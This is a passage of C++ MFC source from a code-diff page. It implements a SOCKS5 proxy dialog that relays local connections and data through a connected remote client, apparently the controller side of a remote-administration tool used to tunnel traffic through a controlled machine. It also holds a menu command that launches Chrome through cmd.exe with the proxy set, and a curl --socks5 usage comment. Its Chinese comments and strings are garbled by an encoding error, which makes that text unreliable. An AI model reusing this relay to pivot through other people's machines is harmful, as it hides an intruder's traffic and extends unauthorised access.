m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_Proxifier));
m_bIsClose = false;
}
void CProxyMapDlg::DoDataExchange(CDataExchange* pDX)
{
CDialog::DoDataExchange(pDX);
DDX_Control(pDX, IDC_EDIT, m_Edit);
DDX_Control(pDX, IDC_EDIT_OTHER, m_EditOther);
}
BEGIN_MESSAGE_MAP(CProxyMapDlg, CDialog)
ON_WM_SYSCOMMAND()
ON_WM_SIZE()
END_MESSAGE_MAP()
/////////////////////////////////////////////////////////////////////////////
BOOL CProxyMapDlg::OnInitDialog()
{
CDialog::OnInitDialog();
SetIcon(m_hIcon, TRUE); // Set big icon
SetIcon(m_hIcon, FALSE); // Set small icon
// TODO: Add extra initialization here
m_iocpLocal = new CProxyConnectServer;
if (m_iocpLocal == NULL) {
return FALSE;
}
m_Edit.SetLimitText(MAXDWORD);
m_EditOther.SetLimitText(MAXDWORD);
CString str;
// <20><><EFBFBD><EFBFBD>IPCP<43><50><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
m_nPort = 5543;
if (!m_iocpLocal->Initialize(NotifyProc, this, 100000, m_nPort)) {
AfxMessageBox("<EFBFBD><EFBFBD>ʼ<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
return FALSE;
}
TCHAR ip[256] = {};
int len = sizeof(ip);
m_iocpLocal->m_TcpServer->GetListenAddress(ip, len, m_nPort);
CString strString;
sockaddr_in ClientAddress;
memset(&ClientAddress, 0, sizeof(ClientAddress));
int iClientAddressLength = sizeof(ClientAddress);
BOOL bResult = getpeername(m_ContextObject->sClientSocket, (SOCKADDR*)&ClientAddress, &iClientAddressLength);
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "");
SetWindowText(strString);
str.Format(_T("SOCKS <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>÷<EFBFBD><C3B7><EFBFBD><EFBFBD><EFBFBD>Ϊ: <127.0.0.1:%d>\r\n"), m_nPort);
AddLog(str.GetBuffer(0));
CMenu* pSysMenu = GetSystemMenu(FALSE);
if (pSysMenu != NULL) {
pSysMenu->AppendMenu(MF_SEPARATOR);
pSysMenu->AppendMenu(MF_STRING, IDM_PROXY_CHROME, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Chrome(<28><><EFBFBD>ر<EFBFBD><D8B1><EFBFBD><EFBFBD><EFBFBD>Chrome<6D><65><EFBFBD><EFBFBD>)(&P)"));
}
return TRUE;
}
void CProxyMapDlg::OnCancel()
{
if (m_bIsClose) return;
m_bIsClose = true;
m_iocpServer->Disconnect(m_ContextObject);
DestroyIcon(m_hIcon);
m_iocpLocal->Shutdown();
SAFE_DELETE(m_iocpLocal);
CancelIo((HANDLE)m_ContextObject->sClientSocket);
closesocket(m_ContextObject->sClientSocket);
Sleep(50);
if (IsWindow(m_hWnd))
DestroyWindow();
}
void CALLBACK CProxyMapDlg::NotifyProc(void *user, ClientContext* pContext, UINT nCode)
{
CProxyMapDlg* g_pProxyMap = (CProxyMapDlg*)user;
if (g_pProxyMap->m_bIsClose) return;
DWORD index = pContext->ID;
TCHAR szMsg[200] = { 0 };
try {
switch (nCode) {
case NC_CLIENT_CONNECT:
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\r\n"), index);
break;
case NC_CLIENT_DISCONNECT:
if (pContext->m_bProxyConnected) {
BYTE lpData[5] = "";
lpData[0] = COMMAND_PROXY_CLOSE;
memcpy(lpData + 1, &index, sizeof(DWORD));
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, lpData, 5);
}
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ӶϿ<D3B6>\r\n"), index);
break;
case NC_TRANSMIT:
break;
case NC_RECEIVE:
if (pContext->m_bProxyConnected == 2) {
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, pContext->InDeCompressedBuffer.GetBuffer(0),
pContext->InDeCompressedBuffer.GetBufferLength());
wsprintf(szMsg, _T("%d <==<3D><> %d bytes\r\n"), index, pContext->InDeCompressedBuffer.GetBufferLength() - 5);
} else if (pContext->m_bProxyConnected == 0) {
char msg_auth_ok[] = { 0X05, 0X00 }; // VERSION SOCKS, AUTH MODE, OK
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
pContext->m_bProxyConnected = 1;
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_auth_ok, sizeof(msg_auth_ok));
wsprintf(szMsg, _T("%d <20><><EFBFBD>ر<EFBFBD>ʾ %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[2]);
} else if (pContext->m_bProxyConnected == 1) {
LPBYTE lpData = pContext->InDeCompressedBuffer.GetBuffer(5);
BYTE buf[11] = {};
if (lpData[0] == 5 && lpData[1] == 1 && (pContext->InDeCompressedBuffer.GetBufferLength() > 10)) {
if (lpData[3] == 1) { // ipv4
buf[0] = COMMAND_PROXY_CONNECT; // 1<><31><EFBFBD>ֽ<EFBFBD> ip v4 <20><><EFBFBD><EFBFBD>
memcpy(buf + 1, &index, 4); // <20>ĸ<EFBFBD><C4B8>ֽ<EFBFBD> <20>׽<EFBFBD><D7BD>ֵı<D6B5><C4B1><EFBFBD>
memcpy(buf + 5, lpData + 4, 6); // 4<>ֽ<EFBFBD>ip 2<>ֽڶ˿<DAB6>
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, buf, sizeof(buf));
in_addr inaddr = {};
inaddr.s_addr = *(DWORD*)(buf + 5);
char szmsg1[MAX_PATH];
wsprintfA(szmsg1, "%d IPV4 <20><><EFBFBD><EFBFBD> %s:%d...\r\n", index, inet_ntoa(inaddr), ntohs(*(USHORT*)(buf + 9)));
} else if (lpData[3] == 3) { // <20><><EFBFBD><EFBFBD>
Socks5Info* Socks5Request = (Socks5Info*)lpData;
BYTE* HostName = new BYTE[Socks5Request->IP_LEN + 8];
ZeroMemory(HostName, Socks5Request->IP_LEN + 8);
HostName[0] = COMMAND_PROXY_CONNECT_HOSTNAME;
memcpy(HostName + 7, &Socks5Request->szIP, Socks5Request->IP_LEN);
memcpy(HostName + 1, &index, 4);
memcpy(HostName + 5, &Socks5Request->szIP + Socks5Request->IP_LEN, 2);
g_pProxyMap->m_iocpServer->Send(g_pProxyMap->m_ContextObject, HostName, Socks5Request->IP_LEN + 8);
SAFE_DELETE_ARRAY(HostName);
wsprintf(szMsg, _T("<EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD> %d \r\n"), index);
} else if (lpData[3] == 4) { //ipv6
char msg_ipv6_nok[] = { 0X05, 0X08, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // IPv6 not support
wsprintf(szMsg, _T("%d IPV6<56><36><EFBFBD><EFBFBD> <20><>֧<EFBFBD><D6A7>..."), index);
g_pProxyMap->m_iocpLocal->Send(pContext, (LPBYTE)msg_ipv6_nok, sizeof(msg_ipv6_nok));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
break;
}
} else {
buf[0] = 5;
buf[1] = 7;
buf[2] = 0;
buf[3] = lpData[3];
g_pProxyMap->m_iocpLocal->Send(pContext, buf, sizeof(buf));
g_pProxyMap->m_iocpLocal->Disconnect(pContext->m_Socket);
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD>Ҫ<EFBFBD><D2AA>, <20>Ͽ<EFBFBD> %d %d %d\r\n"), index, lpData[0], lpData[1], lpData[3]);
}
}
break;
}
} catch (...) {}
if (szMsg[0])
g_pProxyMap->AddLog_other(szMsg);
return;
}
void CProxyMapDlg::OnReceive()
{
}
void CProxyMapDlg::OnReceiveComplete()
{
if (m_iocpLocal == NULL)
return;
if (m_iocpLocal->m_TcpServer->HasStarted() == FALSE || m_bIsClose)
return;
LPBYTE buf = m_ContextObject->m_DeCompressionBuffer.GetBuffer(0);
DWORD index = *(DWORD*)&buf[1];
TCHAR szMsg[200];
switch (buf[0]) {
case TOKEN_PROXY_CONNECT_RESULT: {
char msg_request_co_ok[] = { 0X05, 0X00, 0X00, 0X01, 0X00, 0X00, 0X00, 0X00, 0X00, 0X00 }; // Request connect OK
BYTE sendbuf[10] = "";
sendbuf[0] = 5;
sendbuf[1] = (buf[9] || buf[10]) ? 0 : 5;
sendbuf[2] = 0;
sendbuf[3] = 1;
memcpy(&sendbuf[4], &buf[5], 6);
ClientContext* pContext_proxy = NULL;
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
if (sendbuf[1] == 0) {
pContext_proxy->m_bProxyConnected = 2;
wsprintf(szMsg, _T("%d <20><><EFBFBD>ӳɹ<D3B3>\r\n"), index);
} else
wsprintf(szMsg, _T("%d <20><><EFBFBD><EFBFBD>ʧ<EFBFBD><CAA7>\r\n"), index);
m_iocpLocal->Send(pContext_proxy, sendbuf, sizeof(sendbuf));
AddLog(szMsg);
}
}
break;
case TOKEN_PROXY_BIND_RESULT:
break;
case TOKEN_PROXY_CLOSE: {
wsprintf(szMsg, _T("%d TOKEN_PROXY_CLOSE\r\n"), index);
m_iocpLocal->Disconnect(index);
AddLog(szMsg);
}
break;
case TOKEN_PROXY_DATA: {
ClientContext* pContext_proxy = NULL;
BOOL ok = FALSE;
if (m_iocpLocal->m_TcpServer->GetConnectionExtra((CONNID)index, (PVOID*)&pContext_proxy) && pContext_proxy != nullptr) {
ok = m_iocpLocal->Send(pContext_proxy, &buf[5], m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
if (ok == FALSE) {
wsprintf(szMsg, _T("%d TOKEN_PROXY_CLOSE\r\n"), index);
m_iocpLocal->Disconnect(index);
AddLog(szMsg);
return;
}
wsprintf(szMsg, _T("%d ==><3E><> %d bytes\r\n"), index, m_ContextObject->m_DeCompressionBuffer.GetBufferLength() - 5);
AddLog(szMsg);
}
}
break;
default:
// <20><><EFBFBD><EFBFBD><E4B7A2><EFBFBD><EFBFBD><ECB3A3><EFBFBD><EFBFBD>
break;
}
}
void CProxyMapDlg::AddLog(TCHAR* lpText)
{
if (m_bIsClose == TRUE) return;
m_Edit.SetSel(-1, -1);
m_Edit.ReplaceSel(lpText);
}
void CProxyMapDlg::AddLog_other(TCHAR* lpText)
{
if (m_bIsClose == TRUE) return;
m_EditOther.SetSel(-1, -1);
m_EditOther.ReplaceSel(lpText);
}
void CProxyMapDlg::OnSize(UINT nType, int cx, int cy)
{
CDialog::OnSize(nType, cx, cy);
// TODO: Add your message handler code here
if (!IsWindowVisible())
return;
RECT rectClient;
RECT rectEdit = {};
GetClientRect(&rectClient);
rectEdit.left = 0;
rectEdit.top = 0;
rectEdit.right = rectClient.right;
rectEdit.bottom = rectClient.bottom;
m_Edit.MoveWindow(&rectEdit);
}
void CProxyMapDlg::PostNcDestroy()
{
if (!m_bIsClose)
OnCancel();
CDialog::PostNcDestroy();
delete this;
}
void CProxyMapDlg::OnSysCommand(UINT nID, LPARAM lParam)
{
CMenu* pSysMenu = GetSystemMenu(FALSE);
switch (nID) {
case IDM_PROXY_CHROME: {
CString strCommand;
strCommand.Format(_T(" /c start chrome.exe --show-app-list --proxy-server=\"SOCKS5://127.0.0.1:%d\""), m_nPort);
ShellExecute(NULL, _T("open"), _T("cmd.exe"), strCommand, NULL, SW_SHOW);
}
break;
}
CDialog::OnSysCommand(nID, lParam);
}

View File

@@ -0,0 +1,64 @@
#pragma once
#include "stdafx.h"
#include "ProxyConnectServer.h"
#include "Resource.h"
#ifdef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "HPSocket_x64D.lib")
#else
#pragma comment(lib, "HPSocket_x64.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "HPSocket_D.lib")
#else
#pragma comment(lib, "HPSocket.lib")
#endif
#endif
/////////////////////////////////////////////////////////////////////////////
// CProxyMapDlg dialog
typedef struct {
BYTE Ver; // Version Number
BYTE CMD; // 0x01==TCP CONNECT,0x02==TCP BIND,0x03==UDP ASSOCIATE
BYTE RSV;
BYTE ATYP;
BYTE IP_LEN;
BYTE szIP;
} Socks5Info;
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>: curl --socks5 127.0.0.1:5543 https://www.example.com
class CProxyMapDlg : public CDialog
{
public:
CProxyMapDlg(CWnd* pParent = NULL, ISocketBase* pIOCPServer = NULL, ClientContext* pContext = NULL);
enum { IDD = IDD_PROXY };
static void CALLBACK NotifyProc(void* user, ClientContext* pContext, UINT nCode);
void OnReceiveComplete();
void OnReceive();
void AddLog(TCHAR* lpText);
void AddLog_other(TCHAR* lpText);
virtual void DoDataExchange(CDataExchange* pDX);
virtual void PostNcDestroy();
virtual void OnCancel();
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
virtual BOOL OnInitDialog();
afx_msg void OnSize(UINT nType, int cx, int cy);
DECLARE_MESSAGE_MAP()
private:
ClientContext* m_ContextObject;
ISocketBase* m_iocpServer;
CProxyConnectServer* m_iocpLocal;
HICON m_hIcon;
bool m_bIsClose;
CEdit m_Edit;
USHORT m_nPort;
CEdit m_EditOther;
};

File diff suppressed because it is too large Load Diff

Binary file not shown.

Before

Width:  |  Height:  |  Size: 1.3 KiB

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 822 B

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 822 B

Binary file not shown.

Before

Width:  |  Height:  |  Size: 822 B

After

Width:  |  Height:  |  Size: 822 B

Some files were not shown because too many files have changed in this diff Show More